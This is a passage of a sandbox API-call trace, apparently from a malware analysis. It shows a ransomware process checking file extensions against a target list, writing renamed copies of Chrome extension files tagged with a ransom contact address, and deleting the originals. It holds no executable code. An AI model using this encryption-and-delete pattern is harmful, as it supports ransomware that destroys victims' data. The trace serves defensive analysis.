lpNewFilePointer=0x0) returned 1 [0174.005] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.005] GetLastError () returned 0x0 [0174.005] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x112, lpOverlapped=0x0) returned 1 [0174.006] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x120, lpOverlapped=0x0) returned 1 [0174.008] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.008] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.008] SetEndOfFile (hFile=0x1a0) returned 1 [0174.008] CloseHandle (hObject=0x1a0) returned 1 [0174.008] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.008] SetEndOfFile (hFile=0x19c) returned 1 [0174.009] CloseHandle (hObject=0x19c) returned 1 [0174.009] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.009] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json")) returned 1 [0174.010] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 152 [0174.010] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 152 [0174.010] lstrlenW (lpString=".doc") returned 4 [0174.010] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.010] lstrlenW (lpString=".docx") returned 5 [0174.010] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.010] lstrlenW (lpString=".pdf") returned 4 [0174.010] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.010] lstrlenW (lpString=".xls") returned 4 [0174.010] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.010] lstrlenW (lpString=".xlsx") returned 5 [0174.010] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.010] lstrlenW (lpString=".ppt") returned 4 [0174.010] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.010] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 152 [0174.010] lstrlenW (lpString=".zip") returned 4 [0174.010] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.010] lstrlenW (lpString=".rar") returned 4 [0174.010] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.010] lstrlenW (lpString=".bz2") returned 4 [0174.010] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.010] lstrlenW (lpString=".7z") returned 3 [0174.010] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.010] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 152 [0174.010] lstrlenW (lpString=".dbf") returned 4 [0174.010] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.010] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 152 [0174.010] lstrlenW (lpString=".1cd") returned 4 [0174.010] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.010] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 152 [0174.010] lstrlenW (lpString=".jpg") returned 4 [0174.011] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 152 [0174.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 152 [0174.011] lstrlenW (lpString=".doc") returned 4 [0174.011] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.011] lstrlenW (lpString=".docx") returned 5 [0174.011] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.011] lstrlenW (lpString=".pdf") returned 4 [0174.011] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.011] lstrlenW (lpString=".xls") returned 4 [0174.011] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.011] lstrlenW (lpString=".xlsx") returned 5 [0174.011] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.011] lstrlenW (lpString=".ppt") returned 4 [0174.011] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 152 [0174.011] lstrlenW (lpString=".zip") returned 4 [0174.011] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.011] lstrlenW (lpString=".rar") returned 4 [0174.011] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.011] lstrlenW (lpString=".bz2") returned 4 [0174.011] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.011] lstrlenW (lpString=".7z") returned 3 [0174.011] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 152 [0174.011] lstrlenW (lpString=".dbf") returned 4 [0174.011] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.011] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 152 [0174.012] lstrlenW (lpString=".1cd") returned 4 [0174.012] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.012] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 152 [0174.012] lstrlenW (lpString=".jpg") returned 4 [0174.012] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.012] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.012] lstrlenW (lpString="messages.json") returned 13 [0174.012] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.012] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=268) returned 1 [0174.012] CloseHandle (hObject=0x19c) returned 1 [0174.012] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json")) returned 0x2020 [0174.013] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.013] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.013] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0174.013] GetLastError () returned 0x0 [0174.013] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x10c, lpOverlapped=0x0) returned 1 [0174.014] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x110, lpOverlapped=0x0) returned 1 [0174.015] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.015] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.015] SetEndOfFile (hFile=0x1a0) returned 1 [0174.015] CloseHandle (hObject=0x1a0) returned 1 [0174.015] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.015] SetEndOfFile (hFile=0x19c) returned 1 [0174.016] CloseHandle (hObject=0x19c) returned 1 [0174.016] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.131] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json")) returned 1 [0174.131] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 152 [0174.131] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 152 [0174.131] lstrlenW (lpString=".doc") returned 4 [0174.131] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.131] lstrlenW (lpString=".docx") returned 5 [0174.131] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.131] lstrlenW (lpString=".pdf") returned 4 [0174.131] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.131] lstrlenW (lpString=".xls") returned 4 [0174.131] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.131] lstrlenW (lpString=".xlsx") returned 5 [0174.131] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.131] lstrlenW (lpString=".ppt") returned 4 [0174.131] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.131] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 152 [0174.132] lstrlenW (lpString=".zip") returned 4 [0174.132] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.132] lstrlenW (lpString=".rar") returned 4 [0174.132] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.132] lstrlenW (lpString=".bz2") returned 4 [0174.132] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.132] lstrlenW (lpString=".7z") returned 3 [0174.132] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.132] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 152 [0174.132] lstrlenW (lpString=".dbf") returned 4 [0174.132] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.132] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 152 [0174.132] lstrlenW (lpString=".1cd") returned 4 [0174.132] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.132] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 152 [0174.132] lstrlenW (lpString=".jpg") returned 4 [0174.132] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.132] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 152 [0174.132] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 152 [0174.132] lstrlenW (lpString=".doc") returned 4 [0174.132] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.132] lstrlenW (lpString=".docx") returned 5 [0174.132] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.132] lstrlenW (lpString=".pdf") returned 4 [0174.132] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.132] lstrlenW (lpString=".xls") returned 4 [0174.132] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.132] lstrlenW (lpString=".xlsx") returned 5 [0174.132] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.133] lstrlenW (lpString=".ppt") returned 4 [0174.133] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.133] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 152 [0174.133] lstrlenW (lpString=".zip") returned 4 [0174.133] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.133] lstrlenW (lpString=".rar") returned 4 [0174.133] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.133] lstrlenW (lpString=".bz2") returned 4 [0174.133] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.133] lstrlenW (lpString=".7z") returned 3 [0174.133] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.133] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 152 [0174.133] lstrlenW (lpString=".dbf") returned 4 [0174.133] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.133] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 152 [0174.133] lstrlenW (lpString=".1cd") returned 4 [0174.133] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.133] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 152 [0174.133] lstrlenW (lpString=".jpg") returned 4 [0174.133] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.133] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0174.133] lstrlenW (lpString="128.png") returned 7 [0174.133] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.134] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3406) returned 1 [0174.134] CloseHandle (hObject=0x1ac) returned 1 [0174.134] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png")) returned 0x2020 [0174.134] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.134] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0174.134] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.134] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.134] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.135] GetLastError () returned 0x0 [0174.135] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd4e, lpOverlapped=0x0) returned 1 [0174.137] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xd50, lpOverlapped=0x0) returned 1 [0174.138] ReadFile (in: hFile=0x1ac, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.138] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0174.138] SetEndOfFile (hFile=0x1b4) returned 1 [0174.138] CloseHandle (hObject=0x1b4) returned 1 [0174.138] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.138] SetEndOfFile (hFile=0x1ac) returned 1 [0174.139] CloseHandle (hObject=0x1ac) returned 1 [0174.139] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.139] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png")) returned 1 [0174.139] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 135 [0174.139] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 135 [0174.139] lstrlenW (lpString=".doc") returned 4 [0174.139] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0174.139] lstrlenW (lpString=".docx") returned 5 [0174.139] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0174.139] lstrlenW (lpString=".pdf") returned 4 [0174.139] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0174.139] lstrlenW (lpString=".xls") returned 4 [0174.140] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0174.140] lstrlenW (lpString=".xlsx") returned 5 [0174.140] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0174.140] lstrlenW (lpString=".ppt") returned 4 [0174.140] lstrcmpiW (lpString1=".ppt", 